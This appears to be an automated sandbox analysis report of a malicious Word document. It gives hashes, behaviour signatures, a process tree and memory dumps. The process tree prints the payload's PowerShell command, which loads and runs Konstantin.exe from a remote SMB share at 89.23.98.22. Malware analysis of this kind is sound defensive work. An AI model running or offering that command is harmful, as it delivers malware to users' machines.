Analysis

  • max time kernel
    135s
  • max time network
    124s
  • platform
    windows7_x64
  • resource
    win7-20231023-en
  • resource tags

    arch:x64arch:x86image:win7-20231023-enlocale:en-usos:windows7-x64system
  • submitted
    01-12-2023 07:39

General

  • Target

    d12934-0202334.doc

  • Size

    39KB

  • MD5

    eac138b49c6f90896c9af5cbc8fe38b8

  • SHA1

    c44a683c787c1d9f2ed1a016d9bd5bda3275342f

  • SHA256

    44e593c98acaf52aee91c09fe00fa196668351783fc8a623fc1da5325635130f

  • SHA512

    a6b4ec448b8151ed5af7ede720340829cd39b3ced230fe16a5c7b3c86f67ac5cf4c8d94f7899564c884b0607f0881ce40442672965b4b2addc83b95c2f2b627a

  • SSDEEP

    384:t68NWgtQziS8px8SMDVvHLZTlteZoN0j:t68N5X3y9HH

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Modifies Installed Components in the registry 2 TTPs 1 IoCs
  • Drops file in Windows directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 33 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 15 IoCs
  • Suspicious use of FindShellTrayWindow 43 IoCs
  • Suspicious use of SendNotifyMessage 20 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\d12934-0202334.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2944
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c "explorer '\\89.23.98.22\LN\'; Start-Sleep -Seconds 1; Stop-Process -Name explorer; \\89.23.98.22\LN\Konstantin.exe"
      2⤵
      • Process spawned unexpected child process
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2624
      • C:\Windows\SysWOW64\explorer.exe
        "C:\Windows\system32\explorer.exe" \\89.23.98.22\LN\
        3⤵
          PID:2744
    • C:\Windows\explorer.exe
      C:\Windows\explorer.exe /factory,{75dff2b7-6936-4c06-a8bb-676a7b00b24b} -Embedding
      1⤵
      • Modifies Internet Explorer settings
      • Modifies registry class
      PID:2600
    • C:\Windows\explorer.exe
      explorer.exe
      1⤵
      • Modifies Installed Components in the registry
      • Drops file in Windows directory
      • Modifies registry class
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      PID:2208

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/2208-24-0x00000000042D0000-0x00000000042D1000-memory.dmp

      Filesize

      4KB

    • memory/2208-21-0x00000000042D0000-0x00000000042D1000-memory.dmp

      Filesize

      4KB

    • memory/2600-13-0x0000000003740000-0x0000000003750000-memory.dmp

      Filesize

      64KB

    • memory/2600-14-0x0000000003730000-0x0000000003731000-memory.dmp

      Filesize

      4KB

    • memory/2624-12-0x0000000000450000-0x0000000000490000-memory.dmp

      Filesize

      256KB

    • memory/2624-10-0x000000006AB50000-0x000000006B0FB000-memory.dmp

      Filesize

      5.7MB

    • memory/2624-11-0x000000006AB50000-0x000000006B0FB000-memory.dmp

      Filesize

      5.7MB

    • memory/2624-15-0x000000006AB50000-0x000000006B0FB000-memory.dmp

      Filesize

      5.7MB

    • memory/2944-7-0x0000000000760000-0x0000000000860000-memory.dmp

      Filesize

      1024KB

    • memory/2944-0-0x000000002FA71000-0x000000002FA72000-memory.dmp

      Filesize

      4KB

    • memory/2944-6-0x0000000000760000-0x0000000000860000-memory.dmp

      Filesize

      1024KB

    • memory/2944-5-0x0000000000760000-0x0000000000860000-memory.dmp

      Filesize

      1024KB

    • memory/2944-2-0x000000007106D000-0x0000000071078000-memory.dmp

      Filesize

      44KB

    • memory/2944-22-0x000000007106D000-0x0000000071078000-memory.dmp

      Filesize

      44KB

    • memory/2944-23-0x0000000000760000-0x0000000000860000-memory.dmp

      Filesize

      1024KB

    • memory/2944-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB